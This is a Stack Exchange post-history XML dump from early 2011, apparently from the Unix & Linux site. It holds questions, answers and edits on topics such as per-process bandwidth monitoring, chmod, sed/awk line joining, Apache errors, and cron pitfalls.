  <row Id="15903" PostHistoryTypeId="1" PostId="6908" RevisionGUID="5a64cde7-df85-461b-9b0c-631c1b53c472" CreationDate="2011-02-04T17:26:48.313" UserId="688" Text="Is there a tool that can monitor bandwidth usage of a single process?" />
  <row Id="15904" PostHistoryTypeId="3" PostId="6908" RevisionGUID="5a64cde7-df85-461b-9b0c-631c1b53c472" CreationDate="2011-02-04T17:26:48.313" UserId="688" Text="émonitoringàébandwidthà" />
  <row Id="15905" PostHistoryTypeId="5" PostId="6905" RevisionGUID="5b98d7e2-da31-43a2-914a-621bce385bb9" CreationDate="2011-02-04T17:29:21.307" UserId="73" Comment="added 8 characters in body" Text="Sometimes I see `chmod` commands that use four octal digits instead of three -- what is the optional first digit for? For example, `chmod 777` is equivalent to `chmod a+rwx`; what's the same command for `chmod 2777`?&#xD;&#xA;" />
  <row Id="15906" PostHistoryTypeId="5" PostId="6179" RevisionGUID="dcb60e13-cfdf-427a-a5fc-47064552b788" CreationDate="2011-02-04T18:17:06.453" UserId="688" Comment="deleted 12 characters in body; edited body; edited title" Text="Anyone know how to disable this annoying hover info in Amarok 2.4? I browsed through all the options (not that there is much of them), but couldn't find how to turn that feature off... It's getting in the way when hovering over songs with your mouse and really is not necessary." />
  <row Id="15907" PostHistoryTypeId="4" PostId="6179" RevisionGUID="dcb60e13-cfdf-427a-a5fc-47064552b788" CreationDate="2011-02-04T18:17:06.453" UserId="688" Comment="deleted 12 characters in body; edited body; edited title" Text="How to disable playlist song hover info in Amarok?" />
  <row Id="15908" PostHistoryTypeId="5" PostId="6196" RevisionGUID="b7b20ede-8e6b-4900-96ad-0de306154c1d" CreationDate="2011-02-04T18:22:52.340" UserId="688" Comment="added 15 characters in body" Text="Running into a strange problem. I have a local server running Red Hat on a virtual machine (accessed through putty). I'm using this server to work on a website in Django, which I run with: &#xD;&#xA; &#xD;&#xA;    python manage.py runserver 0.0.0.0: 8080.   &#xD;&#xA;&#xD;&#xA;Now that works just fine, and I can access it through redHatIP:8080. However, I recently downloaded and installed Wordpress, Drupal, and &lt;a href=&quot;http://haveamint.com/&quot;&gt;Mint&lt;/a&gt;. Mint was added to the original site, and I access it through redHatIP/mint. Wordpress and Drupal are completely unrelated to the original site, but are both located in /var/www/html (long with the original site located through my 8080 poty).&#xD;&#xA;&#xD;&#xA;I accessed drupal and wordpress through redHatIP/drupal and redhatIP respectively, and it was working just fine until today. For some reason when I go to redHatIP now I receive the following error in my internet browser:  &#xD;&#xA;&#xD;&#xA;    The requested URL / was not found on this server.&#xD;&#xA;&#xD;&#xA;If I go to redHatIP/drupal I recieved The requested URL /drupal was not found on this server, to redHatIP/anything I recieve The requested URL /anything was not found on this server et cetera. This applies to Mint as well, which I access through redHatIP/mint. However, I can still access the original site through redHatIP:8080, and that works just fine.  &#xD;&#xA;&#xD;&#xA;I completely removed Django and wordpress, than downloaded them again. I tried having just one of them located in /var/www/html/, but that did nothing. I tried moving them to /var/www/, but that also did nothing.   &#xD;&#xA;&#xD;&#xA;When I go to my error log messages in /pwd/log/httpd/error_log It has the following message:&#xD;&#xA;&#xD;&#xA;    _default_ VirtualHost overlap on port 80, the first has precedence.&#xD;&#xA;&#xD;&#xA;However this was reported the day -before- all this happened, when I had both Django and Wordpress together, and there hasn't been any messages since. &#xD;&#xA;&#xD;&#xA;I have been unable to fix this on my own, nor have I found a solution on the net. Any ideas? Any other information that would help understand the problem? et cetera?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="15909" PostHistoryTypeId="2" PostId="6909" RevisionGUID="4b2d0537-dda6-408f-80ba-c1cfde170820" CreationDate="2011-02-04T18:24:01.140" UserId="366" Text="Rather than re-package the existing RPM, inspired by HP I packaged it in an additional RPM. The new RPM is very simple in that it just has the single patch-RPM inside it, and invokes the `rpm` command to install it." />
  <row Id="15910" PostHistoryTypeId="5" PostId="5850" RevisionGUID="90077d91-066c-4aa9-ad03-63aeb3b8477d" CreationDate="2011-02-04T18:30:33.000" UserId="688" Comment="added 109 characters in body" Text="I just installed Xorg on Arch Linux but when I run startx, I only get a blank screen.&#xD;&#xA;&#xD;&#xA;Here's output of &#xD;&#xA;&#xD;&#xA;    [94.250] Failed to load module &quot;intel&quot; [94.264] Failed to load module &quot;fbdev&quot;&#xD;&#xA;&#xD;&#xA;What could be the problem here?" />
  <row Id="15911" PostHistoryTypeId="8" PostId="5850" RevisionGUID="84211066-2363-4164-87aa-d01ca1965f95" CreationDate="2011-02-04T18:31:46.493" UserId="688" Comment="Rollback to [f6e42025-738e-4c54-9550-66042c4d95c3]" Text="I just installed Xorg on Arch Linux but when I run startx, I only get a blank screen. What could be the problem here?" />
  <row Id="15912" PostHistoryTypeId="5" PostId="3609" RevisionGUID="90f27fb3-6a16-4c87-9deb-4cca542ca4f2" CreationDate="2011-02-04T18:43:05.537" UserId="688" Comment="deleted 23 characters in body; edited tags" Text="I'm trying to install SoX, and get through configure fine, but it fails on make with the following: &#xD;&#xA;&#xD;&#xA;    /bin/sh ../libtool --silent  --tag=CC  --silent --mode=compile gcc -DHAVE_CONFIG_H&#xD;&#xA;    -I.  -DLADSPA_PATH=&quot;\&quot;/var/tmp/sox/sox14/lib/ladspa\&quot;&quot; -DPKGLIBDIR=&quot;\&quot;/var/tmp/sox&#xD;&#xA;    /sox14/lib/sox\&quot;&quot;    -Wconversion    -g -O2 -D_FORTIFY_SOURCE=2 -Wall -W -Wmissing-&#xD;&#xA;    prototypes -Wstrict-prototypes -pedantic -MT libsox_la-spectrogram.lo -MD -MP -MF &#xD;&#xA;    .deps/libsox_la-spectrogram.Tpo -c -o libsox_la-spectrogram.lo `test -f &#xD;&#xA;    'spectrogram.c' || echo './'`spectrogram.c&#xD;&#xA;    spectrogram.c: In function `stop':&#xD;&#xA;    spectrogram.c:593: warning: implicit declaration of function `png_set_rows'&#xD;&#xA;    spectrogram.c:594: warning: implicit declaration of function `png_write_png'&#xD;&#xA;    spectrogram.c:594: `PNG_TRANSFORM_IDENTITY' undeclared (first use in this function)&#xD;&#xA;    spectrogram.c:594: (Each undeclared identifier is reported only once&#xD;&#xA;    spectrogram.c:594: for each function it appears in.)&#xD;&#xA;    make[1]: *** [libsox_la-spectrogram.lo] Error 1&#xD;&#xA;    make[1]: Leaving directory `/var/tmp/sox/sox-14.3.1/src'&#xD;&#xA;    make: *** [all-recursive] Error 1&#xD;&#xA;&#xD;&#xA;I'm guessing this is more of a linker/pointer error than anything else because this is the beginning of spectrogram.c&#xD;&#xA;&#xD;&#xA;    #include &quot;sox_i.h&quot;&#xD;&#xA;    #include &quot;fft4g.h&quot;&#xD;&#xA;    #include &quot;sgetopt.h&quot;&#xD;&#xA;    #include &lt;assert.h&gt;&#xD;&#xA;    #include &lt;math.h&gt;&#xD;&#xA;    #include &lt;png.h&gt;&#xD;&#xA;&#xD;&#xA;png.h is included, which is where PNG_TRANSFORM_IDENTITY is supposed to come from. Am I missing something?" />
  <row Id="15913" PostHistoryTypeId="6" PostId="3609" RevisionGUID="90f27fb3-6a16-4c87-9deb-4cca542ca4f2" CreationDate="2011-02-04T18:43:05.537" UserId="688" Comment="deleted 23 characters in body; edited tags" Text="émakeà" />
  <row Id="15914" PostHistoryTypeId="2" PostId="6910" RevisionGUID="00c618cf-aad7-42ac-9703-f76e41010df9" CreationDate="2011-02-04T18:47:04.973" UserId="12" Text="I am in the habit of writing one line per sentence because I typically compile things to LaTex, or am writing in some other format where line breaks get ignored. I use a blank line to indicate the start of a new paragraph.&#xD;&#xA;&#xD;&#xA;Now, I have a file written in this style which I'd like to just send as plain text. I want to remove all the single linebreaks but leave the double linebreaks intact. This is what I've done:&#xD;&#xA;&#xD;&#xA;    sed 's/$^/NEWLINE/' file.txt | awk '{printf &quot;%s &quot;,$0}' | sed 's/NEWLINE/\n\n/g' &gt; linebreakfile.txt&#xD;&#xA;&#xD;&#xA;This replaces empty lines with some text I am confident doesn't appear in the file: `NEWLINE` and then it gets rid of all the line breaks with awk (I found that trick on some website) and then it replaces the `NEWLINE`s with the requisite two linebreaks.&#xD;&#xA;&#xD;&#xA;This seems like a long winded way to do a pretty simple thing. Is there a simpler way? Also, if there were a way to replace multiple spaces (which sometimes creep in for some reason) with single spaces, that would be good too.&#xD;&#xA;&#xD;&#xA;I use emacs, so if there's some emacs specific trick that's good, but I'd rather see a pure sed or pure awk version." />
  <row Id="15915" PostHistoryTypeId="1" PostId="6910" RevisionGUID="00c618cf-aad7-42ac-9703-f76e41010df9" CreationDate="2011-02-04T18:47:04.973" UserId="12" Text="There must be a better way to replace single newlines only?" />
  <row Id="15916" PostHistoryTypeId="3" PostId="6910" RevisionGUID="00c618cf-aad7-42ac-9703-f76e41010df9" CreationDate="2011-02-04T18:47:04.973" UserId="12" Text="ésedàéawkàéregexà" />
  <row Id="15917" PostHistoryTypeId="2" PostId="6911" RevisionGUID="b0d10457-081e-49a7-955a-e70ac1163aa5" CreationDate="2011-02-04T18:59:52.387" UserId="3069" Text="I think this has something to do with gconf2's schema files located at `/usr/share/gconf/schemas`. &#xD;&#xA;&#xD;&#xA;Try to register the schemas again:&#xD;&#xA;&#xD;&#xA;    $ sudo gconf-schemas --register-all&#xD;&#xA;&#xD;&#xA;`gconf-schemas(8)` says:&#xD;&#xA;&#xD;&#xA;    --register-all  &#xD;&#xA;          clean up the GConf database and register all schemas again.  &#xD;&#xA;          This might be neccessary if your gconf database becomes corrupted.&#xD;&#xA;" />
  <row Id="15918" PostHistoryTypeId="5" PostId="6908" RevisionGUID="d3feff0c-6fb1-4319-8f30-d1bc25ff7ef4" CreationDate="2011-02-04T19:17:02.297" UserId="688" Comment="deleted 1 characters in body; added 21 characters in body" Text="I've found [a nice monitor][1] which allows me to log a variety of runtime data of a single process. I'm looking for an equivalent that does the same for bandwidth usage. Ideally, the command should look like `bwmon --pid 1 --log init.log`. Is there such? Can it run without admin (root) rights?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/5783/is-there-a-tool-that-allows-logging-of-memory-usage/5790#5790" />
  <row Id="15919" PostHistoryTypeId="2" PostId="6912" RevisionGUID="dfd86ae2-d308-447a-b1a0-73ada0290d52" CreationDate="2011-02-04T19:22:25.690" UserId="838" Text="try [nethogs][1]:&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;NetHogs is a small 'net top' tool. Instead of breaking the traffic down per protocol or per subnet, like most tools do, it groups bandwidth by process. NetHogs does not rely on a special kernel module to be loaded. If there's suddenly a lot of network traffic, you can fire up NetHogs and immediately see which PID is causing this. This makes it easy to indentify programs that have gone wild and are suddenly taking up your bandwidth.&#xD;&#xA;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;  [1]: http://nethogs.sourceforge.net/" />
  <row Id="15920" PostHistoryTypeId="2" PostId="6913" RevisionGUID="ded62ce9-a426-4258-8bc6-8bfbdcb8b525" CreationDate="2011-02-04T19:25:40.757" UserId="1131" Text="You can use awk like this:&#xD;&#xA;&#xD;&#xA;    $ awk ' /^$/ { print; } /./ { printf(&quot;%s &quot;, $0); }' test&#xD;&#xA;&#xD;&#xA;Or if you need an extra newline at the end:&#xD;&#xA;&#xD;&#xA;    $ awk ' /^$/ { print; } /./ { printf(&quot;%s &quot;, $0); } END { print; } ' test" />
  <row Id="15921" PostHistoryTypeId="2" PostId="6914" RevisionGUID="ed277fc7-5c1f-405c-88dc-25e4b9637e6c" CreationDate="2011-02-04T19:35:59.780" UserId="838" Text="something to get you started (just in case you want to write it yourself):&#xD;&#xA;&#xD;&#xA;     #!/bin/sh&#xD;&#xA;     while true; do&#xD;&#xA;          awk '/eth0:/ { printf(&quot;%s,%d, %d\n&quot;,strftime(&quot;%s&quot;),$2,$10); }' &lt; /proc/$1/net/dev&#xD;&#xA;          sleep&#xD;&#xA;     done&#xD;&#xA;&#xD;&#xA;usage: sh bwmon.sh PID" />
  <row Id="15922" PostHistoryTypeId="5" PostId="6888" RevisionGUID="2ae53c68-0c8d-42a1-8650-c62d97830edc" CreationDate="2011-02-04T19:37:43.977" UserId="1131" Comment="updated links" Text="Check out following question at superuser:&#xD;&#xA;&#xD;&#xA;http://superuser.com/questions/184643/override-dns-in-firefox&#xD;&#xA;&#xD;&#xA;If the discussed options and the SO link are not viable solutions then check out:&#xD;&#xA;&#xD;&#xA;http://superuser.com/questions/100239/hostname-override-in-firefox&#xD;&#xA;&#xD;&#xA;Especially check out:&#xD;&#xA;&#xD;&#xA;https://addons.mozilla.org/en-US/firefox/addon/redirector/&#xD;&#xA;&#xD;&#xA;It sounds like this addon could help - but I depends on its actual implementation." />
  <row Id="15923" PostHistoryTypeId="4" PostId="6905" RevisionGUID="71a7a587-1270-4e3c-8227-57f1191f47db" CreationDate="2011-02-04T19:57:56.607" UserId="73" Comment="edited title" Text="What is the first chmod octal digit in a four-digit value for?" />
  <row Id="15924" PostHistoryTypeId="5" PostId="6914" RevisionGUID="5322cbbe-ae6e-4dcd-ba4e-2ba6dd2f8553" CreationDate="2011-02-04T19:59:56.027" UserId="838" Comment="added 334 characters in body" Text="something to get you started (just in case you want to write it yourself):&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    #&#xD;&#xA;    # usage: bwmon PID&#xD;&#xA;    &#xD;&#xA;    IN=0&#xD;&#xA;    OUT=0&#xD;&#xA;    TIME=0&#xD;&#xA;    &#xD;&#xA;    get_traffic() {&#xD;&#xA;        t=`awk '/eth0:/ { printf(&quot;%s,%d,%d\n&quot;,strftime(&quot;%s&quot;),$2,$10); }' &lt; /proc/$1/net/dev`&#xD;&#xA;        IN=${t#*,}; IN=${IN%,*}&#xD;&#xA;        OUT=${t##*,};&#xD;&#xA;        TIME=${t%%,*};&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    get_traffic $1&#xD;&#xA;    while true&#xD;&#xA;    do&#xD;&#xA;        _IN=$IN&#xD;&#xA;        _OUT=$OUT&#xD;&#xA;        _TIME=$TIME&#xD;&#xA;        get_traffic $1&#xD;&#xA;        echo &quot;$TIME,$IN,$(( $IN - $_IN )),$(( $OUT - $_OUT))&quot;&#xD;&#xA;        sleep 1&#xD;&#xA;    done&#xD;&#xA;" />
  <row Id="15925" PostHistoryTypeId="2" PostId="6915" RevisionGUID="35360832-027a-4e57-bbc2-c2c206cb0e4c" CreationDate="2011-02-04T20:00:49.400" UserId="1207" Text="### Sed Solution&#xD;&#xA;&#xD;&#xA;    $ sed -e ':a;N;$!ba;s/\(.\)\n\{1\}/\1 /g' -e 's/\n/\n\n/' test.text&#xD;&#xA;&#xD;&#xA;Note, that in this solution `:a` is creating a label and not using the `a` command.&#xD;&#xA;&#xD;&#xA;### Replacing Multiple Spaces&#xD;&#xA;Use `tr`: `$ tr -s ' ' &lt;test.text`&#xD;&#xA;&#xD;&#xA;" />
  <row Id="15926" PostHistoryTypeId="2" PostId="6916" RevisionGUID="5186ab91-48b2-4847-a623-ed5d4b8ecff7" CreationDate="2011-02-04T20:02:13.840" UserId="446" Text="If I've understood correctly, an empty line implies two consecutive newlines, `\n\n`.&#xD;&#xA;&#xD;&#xA;Is so, a possible solution would be to eliminate all singular occurrences of newlines.&#xD;&#xA;&#xD;&#xA;In Perl, a lookahead assertion is one way to achieve this:&#xD;&#xA;&#xD;&#xA;    $ perl -0777 -pi 's/\n(?=[^\n])//g' test&#xD;&#xA;&#xD;&#xA;- The `-0777` flag effectively slurps the whole file into a single string&#xD;&#xA;- `-p` tells perl to print the string it's working on by default&#xD;&#xA;- `-i` specifies in-place editing&#xD;&#xA;- Global matching ensures that all single newline occurrences are dealt with " />
  <row Id="15927" PostHistoryTypeId="12" PostId="6915" RevisionGUID="07195422-dea7-4017-9a4b-6540ebe753f3" CreationDate="2011-02-04T20:03:20.253" UserId="1207" Text="[{&quot;Id&quot;:1207,&quot;DisplayName&quot;:&quot;Steven D&quot;}]" />
  <row Id="15928" PostHistoryTypeId="13" PostId="6915" RevisionGUID="508dae4e-6695-4320-a0fc-d0cb5a74bbf0" CreationDate="2011-02-04T20:04:06.007" UserId="1207" Text="[{&quot;Id&quot;:1207,&quot;DisplayName&quot;:&quot;Steven D&quot;}]" />
  <row Id="15929" PostHistoryTypeId="5" PostId="6915" RevisionGUID="4c3939b8-3e67-4afc-a6d5-b0acf6911596" CreationDate="2011-02-04T20:06:12.260" UserId="1207" Comment="deleted 5 characters in body" Text="### Sed Solution&#xD;&#xA;&#xD;&#xA;    $ sed -e ':a;N;$!ba;s/\(.\)\n/\1 /g' -e 's/\n/\n\n/' test.text&#xD;&#xA;&#xD;&#xA;Note, that in this solution `:a` is creating a label and not using the `a` command.&#xD;&#xA;&#xD;&#xA;### Replacing Multiple Spaces&#xD;&#xA;Use `tr`: `$ tr -s ' ' &lt;test.text`&#xD;&#xA;&#xD;&#xA;" />
  <row Id="15930" PostHistoryTypeId="5" PostId="6908" RevisionGUID="d57d5d04-38fa-4e54-80e6-784bf43b0280" CreationDate="2011-02-04T20:09:59.917" UserId="688" Comment="deleted 3 characters in body" Text="I've found [a nice monitor][1] which allows me to log a variety of runtime data of a single process. I'm looking for an equivalent that does the same for bandwidth usage. Ideally, the command should look like `bwmon --pid 1 --log init.log`. Is there such? Can it run without admin privileges?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/5783/is-there-a-tool-that-allows-logging-of-memory-usage/5790#5790" />
  <row Id="15931" PostHistoryTypeId="25" PostId="6910" RevisionGUID="a577f604-08ab-4c5c-b3cc-de811e512197" CreationDate="2011-02-04T20:16:30.120" Comment="http://twitter.com/#!/StackUnix/status/33619927738884096" />
  <row Id="15932" PostHistoryTypeId="5" PostId="6914" RevisionGUID="d004c756-c614-450f-b1bc-2234194debdd" CreationDate="2011-02-04T20:32:10.000" UserId="838" Comment="added 242 characters in body" Text="something to get you started (just in case you want to write it yourself):&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    #&#xD;&#xA;    # usage: bwmon PID&#xD;&#xA;    &#xD;&#xA;    IN=0; OUT=0; TIME=0&#xD;&#xA;    &#xD;&#xA;    get_traffic() {&#xD;&#xA;        t=`awk '/eth0:/ { printf(&quot;%s,%d,%d\n&quot;,strftime(&quot;%s&quot;),$2,$10); }' &lt; /proc/$1/net/dev`&#xD;&#xA;        IN=${t#*,}; IN=${IN%,*}&#xD;&#xA;        OUT=${t##*,};&#xD;&#xA;        TIME=${t%%,*};&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    get_traffic $1&#xD;&#xA;    while true&#xD;&#xA;    do&#xD;&#xA;        _IN=$IN; _OUT=$OUT; _TIME=$TIME&#xD;&#xA;        get_traffic $1&#xD;&#xA;        echo &quot;$TIME,$(( $TIME - $_TIME )),$IN,$(( $IN - $_IN )),$OUT,$(( $OUT - $_OUT))&quot;&#xD;&#xA;        sleep 1&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;comments:&#xD;&#xA;&#xD;&#xA;* checks only eth0&#xD;&#xA;* checks every 1 second&#xD;&#xA;* works only under linux, but other unixes work similar (procfs or whatever)&#xD;&#xA;* output could be stored into a sqlite.db with `stat --printf=&quot;%N\n&quot; /proc/PID/exe | cut -d ' ' -f 3`" />
  <row Id="15933" PostHistoryTypeId="2" PostId="6917" RevisionGUID="c9ba56c3-f662-4946-8571-d8ab2d371fba" CreationDate="2011-02-04T20:34:28.780" UserId="4470" Text="Looks like a font problem - run `Font Book.app`, click **All Fonts**, then select all the fonts in the middle pane (**cmd-a**) and choose **File -&gt; Validate Font** from the menu. This will produce a report of any fonts with issues.&#xD;&#xA;&#xD;&#xA;If you find a broken font file, look where it is residing:&#xD;&#xA;&#xD;&#xA; - if it's a system font (any path not in /Users), replace it from install media or the working Mac (easier)&#xD;&#xA; - if it's a user font (any path in /Users), delete it - the system fonts should be sufficient, but user fonts take precedence, so if the user installed some borked font it can cause this." />
  <row Id="15934" PostHistoryTypeId="6" PostId="6903" RevisionGUID="4d58b39e-c246-4a10-8cfe-740820a82585" CreationDate="2011-02-04T21:08:16.577" UserId="298" Comment="edited tags" Text="éfindàépipeàéxargsàémd5à" />
  <row Id="15935" PostHistoryTypeId="5" PostId="6916" RevisionGUID="33c0aea8-2d97-464d-ab4b-e684539bcfed" CreationDate="2011-02-04T21:41:58.397" UserId="838" Comment="fixed typo and unrelated changes due the stupid &quot;edit is less than 6 chars&quot; .. no, i just wanted to fix the typo." Text="If I've understood OP correctly, an empty line implies two consecutive newlines, `\n\n`.&#xD;&#xA;&#xD;&#xA;If so, ond possible solution would be to eliminate all singular occurrences of newlines.&#xD;&#xA;&#xD;&#xA;In Perl, a lookahead assertion is one way to achieve this:&#xD;&#xA;&#xD;&#xA;    $ perl -0777 -pi 's/\n(?=[^\n])//g' test&#xD;&#xA;&#xD;&#xA;- The `-0777` flag effectively slurps the whole file into a single string&#xD;&#xA;- `-p` tells perl to print the string it's working on by default&#xD;&#xA;- `-i` specifies in-place editing&#xD;&#xA;- Global matching ensures that all single newline occurrences are dealt with " />
  <row Id="15936" PostHistoryTypeId="24" PostId="6916" RevisionGUID="2288d179-3706-4705-a251-3ed297b8b8a8" CreationDate="2011-02-04T21:41:58.397" Comment="Proposed by 838 approved by 1207 edit id of 9" />
  <row Id="15937" PostHistoryTypeId="5" PostId="6916" RevisionGUID="fc3b056f-3011-4ab5-9772-95d90f1a9612" CreationDate="2011-02-04T21:43:01.487" UserId="1207" Comment="changed the command so it actually runs" Text="If I've understood correctly, an empty line implies two consecutive newlines, `\n\n`.&#xD;&#xA;&#xD;&#xA;If so, one possible solution would be to eliminate all singular occurrences of newlines.&#xD;&#xA;&#xD;&#xA;In Perl, a lookahead assertion is one way to achieve this:&#xD;&#xA;&#xD;&#xA;    $ perl -0777 -i -pe 's/\n(?=[^\n])//g' test&#xD;&#xA;&#xD;&#xA;- The `-0777` flag effectively slurps the whole file into a single string&#xD;&#xA;- `-p` tells perl to print the string it's working on by default&#xD;&#xA;- `-i` specifies in-place editing&#xD;&#xA;- Global matching ensures that all single newline occurrences are dealt with " />
  <row Id="15938" PostHistoryTypeId="5" PostId="6877" RevisionGUID="9d9c08cb-dbbd-4570-bb56-2c8361119d31" CreationDate="2011-02-04T22:26:51.643" UserId="2642" Comment="added 74 characters in body" Text="Try out this [Live CD Linux Router][1] distro.&#xD;&#xA;&#xD;&#xA;I would also suggest looking at one of the firewall distros such as Sentry, Monowall etc.&#xD;&#xA;&#xD;&#xA;Oops that should be Smoothwall. Some others are IPCop and Devil Linux.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wifi.com.ar/english/cdrouter/" />
  <row Id="15939" PostHistoryTypeId="25" PostId="6908" RevisionGUID="f7255861-beac-489c-a46b-e2fd01d96e02" CreationDate="2011-02-04T23:16:29.950" Comment="http://twitter.com/#!/StackUnix/status/33665225538547712" />
  <row Id="15940" PostHistoryTypeId="2" PostId="6918" RevisionGUID="ccce2738-bd69-42b2-b039-7dbec9d52ec2" CreationDate="2011-02-04T23:21:17.653" UserId="885" Text="Use Awk or Perl's [paragraph mode](http://perldoc.perl.org/perlrun.html#%2a-0%2a%5b_octal%2fhexadecimal_%5d) to process a file paragraph by paragraph, where paragraphs are separated by blank lines.&#xD;&#xA;&#xD;&#xA;    awk -vRS= '&#xD;&#xA;      NR!=1 {print &quot;&quot;}      # print blank line before every record but the first&#xD;&#xA;      {                     # do this for every record (i.e. paragraph):&#xD;&#xA;        gsub(&quot; *\n *&quot;,&quot; &quot;); # replace newlines by spaces, compressing spaces&#xD;&#xA;        sub(&quot; *$&quot;,&quot;&quot;);      # remove spaces at the end of the paragraph&#xD;&#xA;        print&#xD;&#xA;      }&#xD;&#xA;    '&#xD;&#xA;    perl -000 -pe '             # for every paragraph:&#xD;&#xA;      print &quot;\n&quot; unless $.==1;  # print a blank line, except before the first paragraph&#xD;&#xA;      s/ *\n *(?!$)/ /g;        # replace newlines by spaces, compressing spaces, but not at the end of the paragraph&#xD;&#xA;      s/ *\n+\z/\n/             # normalize the paragraph's last line end&#xD;&#xA;    '&#xD;&#xA;&#xD;&#xA;Of course, since this doesn't parse the (La)TeX, it will horribly mutilate comments, verbatim environments and other special-syntax. You may want to look into [DeTeX](http://www.cs.purdue.edu/homes/trinkle/detex/) or other (La)TeX-to-text converters.&#xD;&#xA;" />
  <row Id="15941" PostHistoryTypeId="6" PostId="6910" RevisionGUID="83c8da4c-422e-486e-a111-5303f28052e2" CreationDate="2011-02-04T23:21:33.597" UserId="885" Comment="edited tags" Text="étextöprocessingàésedàéawkàéregexà" />
  <row Id="15942" PostHistoryTypeId="2" PostId="6919" RevisionGUID="9f9b0390-f7db-4780-907e-941f184f33f4" CreationDate="2011-02-04T23:25:51.437" UserId="885" Text="You need some way to say that you want to send the output of `md5sum` to a file. Since `find` (or `xargs`) doesn't have this functionality built-in, and `md5sum` only knows how to print to standard output, a shell redirection is the most straightforward way.&#xD;&#xA;&#xD;&#xA;Note that your command won't work in the general case for another reason: the output format of `find` is not the input format of `xargs`, they differ with file names containing whitespace or `\&quot;'`. Use `find -exec` instead.&#xD;&#xA;&#xD;&#xA;    find . -type f -exec sh -c 'md5sum &quot;$0&quot; &gt;&quot;$0.md5&quot;' {} \;&#xD;&#xA;" />
  <row Id="15943" PostHistoryTypeId="6" PostId="6903" RevisionGUID="fed5f862-99b2-48ba-bc20-2a6820d139ed" CreationDate="2011-02-04T23:26:05.603" UserId="885" Comment="edited tags" Text="éfindàéioöredirectionàéxargsàémd5à" />
  <row Id="15944" PostHistoryTypeId="6" PostId="6903" RevisionGUID="2e7eeed6-610d-4c42-9fbd-30c7a61bac91" CreationDate="2011-02-04T23:26:25.710" UserId="885" Comment="edited tags" Text="éfindàéioöredirectionàéxargsà" />
  <row Id="15945" PostHistoryTypeId="6" PostId="6893" RevisionGUID="eeab2ca2-b48d-4de3-be6c-e23998c6af50" CreationDate="2011-02-04T23:31:53.423" UserId="885" Comment="edited tags" Text="éaptàégconfà" />
  <row Id="15946" PostHistoryTypeId="6" PostId="6893" RevisionGUID="c8c8f44f-b6f3-472b-811c-813753927c1b" CreationDate="2011-02-04T23:32:13.843" UserId="885" Comment="edited tags" Text="égnomeàéaptàégconfà" />
  <row Id="15947" PostHistoryTypeId="6" PostId="6885" RevisionGUID="1e7648b3-b336-4c2a-b25d-05e0b56f8634" CreationDate="2011-02-04T23:51:07.700" UserId="885" Comment="edited tags" Text="élinuxàéinstallàérhelà" />
  <row Id="15948" PostHistoryTypeId="6" PostId="6870" RevisionGUID="b6cd270e-a92b-47ad-9b87-a53be480d2d2" CreationDate="2011-02-04T23:52:01.863" UserId="885" Comment="edited tags" Text="écentosàépackageömanagementàéopensslà" />
  <row Id="15949" PostHistoryTypeId="6" PostId="6894" RevisionGUID="3c0c64a5-e9a2-41b2-8db7-e7353f1030f2" CreationDate="2011-02-04T23:52:47.260" UserId="885" Comment="edited tags" Text="élinuxàéusbàédevicesà" />
  <row Id="15950" PostHistoryTypeId="6" PostId="6787" RevisionGUID="b7aab361-e43b-4990-81ae-e3217fdd9f9f" CreationDate="2011-02-04T23:53:43.450" UserId="885" Comment="edited tags" Text="ésymlinkàéexecutableàéfilenamesà" />
  <row Id="15951" PostHistoryTypeId="6" PostId="6790" RevisionGUID="a19b5246-c129-46e4-8935-32fbe44ae248" CreationDate="2011-02-05T00:05:10.343" UserId="885" Comment="edited tags" Text="éshellàécronà" />
  <row Id="15952" PostHistoryTypeId="2" PostId="6920" RevisionGUID="e20eb281-4a2f-4eff-915c-d49a620422e5" CreationDate="2011-02-05T00:15:58.360" UserId="885" Text="There are four common causes for commands working when typed in a terminal but not from cron, in order of commonness:&#xD;&#xA;&#xD;&#xA;1. Cron provides a limited environment, e.g., a minimal `$PATH`, and other expected variables missing.&#xD;&#xA;2. Cron invokes /bin/sh by default, whereas you may be using some other shell interactively.&#xD;&#xA;3. Cron treats the % character specially (it is turned into a newline in the command).&#xD;&#xA;4. Cron doesn't provide a terminal or graphical environment.&#xD;&#xA;&#xD;&#xA;If your job produces any output, including error messages, cron sends you an email with the whole output. Make sure you read the mail you receive locally or forward it to an address you read. To forward mail from a local account to some other address, put the other address in [`~/.forward`](http://en.wikipedia.org/wiki/Email_forwarding#.7E.2F.forward_files). If the cron job is running as a system user (`root`, `webmaster`, …), make sure that user's mail is redirected to you (and any other admin); with most mail setups, put lines like `root: elzo` in [`/etc/aliases`](http://linux.die.net/man/5/aliases.sendmail).&#xD;&#xA;" />
  <row Id="15953" PostHistoryTypeId="6" PostId="6845" RevisionGUID="6f1dd890-29ef-40b5-8f02-87b9ab9f2de9" CreationDate="2011-02-05T00:17:32.290" UserId="885" Comment="edited tags" Text="élinuxàékernelàéprocàésysfsà" />
  <row Id="15954" PostHistoryTypeId="6" PostId="6850" RevisionGUID="de3d9d8c-eedb-4bfa-b8ed-abdae7223856" CreationDate="2011-02-05T00:21:10.020" UserId="885" Comment="edited tags" Text="éfedoraàépackageömanagementà" />
  <row Id="15955" PostHistoryTypeId="6" PostId="6876" RevisionGUID="8578f2aa-b853-4a23-b5d9-6b27386177da" CreationDate="2011-02-05T00:24:12.823" UserId="885" Comment="edited tags" Text="évideoàéwirelessàédistributionöchoiceàérouterà" />
  <row Id="15956" PostHistoryTypeId="6" PostId="2692" RevisionGUID="0b1e23c4-a589-40a3-a161-f5657e86fe24" CreationDate="2011-02-05T00:35:25.693" UserId="885" Comment="edited tags" Text="élinuxàésmallödistributionà" />
  <row Id="15957" PostHistoryTypeId="6" PostId="6733" RevisionGUID="e2ec9ba8-2d80-4424-80b1-cf0614b63495" CreationDate="2011-02-05T00:35:50.713" UserId="885" Comment="edited tags" Text="élinuxàésmallödistributionà" />
